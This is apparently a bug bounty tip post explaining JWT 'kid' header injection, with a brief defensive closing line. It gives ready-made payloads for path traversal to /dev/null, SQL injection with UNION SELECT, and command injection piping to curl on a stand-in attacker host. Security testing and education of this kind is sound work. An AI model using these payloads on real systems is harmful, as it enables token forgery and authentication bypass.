Bug Bounty Tip: Exploiting JWT kid Header Injection for Authentication Bypass

JSON Web Tokens (JWTs) are everywhere, but implementation flaws in key retrieval mechanisms continue to yield critical authentication bypasses in bug bounty programs.

🎯 What to Look For

When decoding a JWT, inspect the header for a kid (Key ID) parameter:

{
  "alg": "HS256",
  "kid": "key1"
}

The kid header is designed to specify which key the backend server should use to verify the token signature. However, if the server fetches or queries this key without strict sanitization, serious vulnerability patterns arise.

🧪 Attack Vectors to Test

1. Path Traversal / Null Key Bypass:

   "kid": "../../../../dev/null"

Mechanism: If the server reads the key file from the filesystem path specified by kid, pointing it to /dev/null causes the server to verify the signature using an empty string ("") as the HMAC secret key.

1. SQL Injection via Key Retrieval:

   "kid": "key1' UNION SELECT 'attacker_secret'-- -"

Mechanism: If the server retrieves cryptographic keys from a database query, injecting a UNION SELECT returns a known attacker secret, allowing arbitrary signature forging.

1. Command Injection / Remote Key Injection:

   "kid": "key1|curl attacker.com/key"

Mechanism: Unsanitized shell execution or SSRF via external key resolution endpoints.

If the backend relies on user-supplied kid headers to resolve signing keys dynamically, you can frequently forge tokens for administrative accounts and achieve full authentication bypass.

Ensure your token verification layers enforce strict allowlists and static key mappings.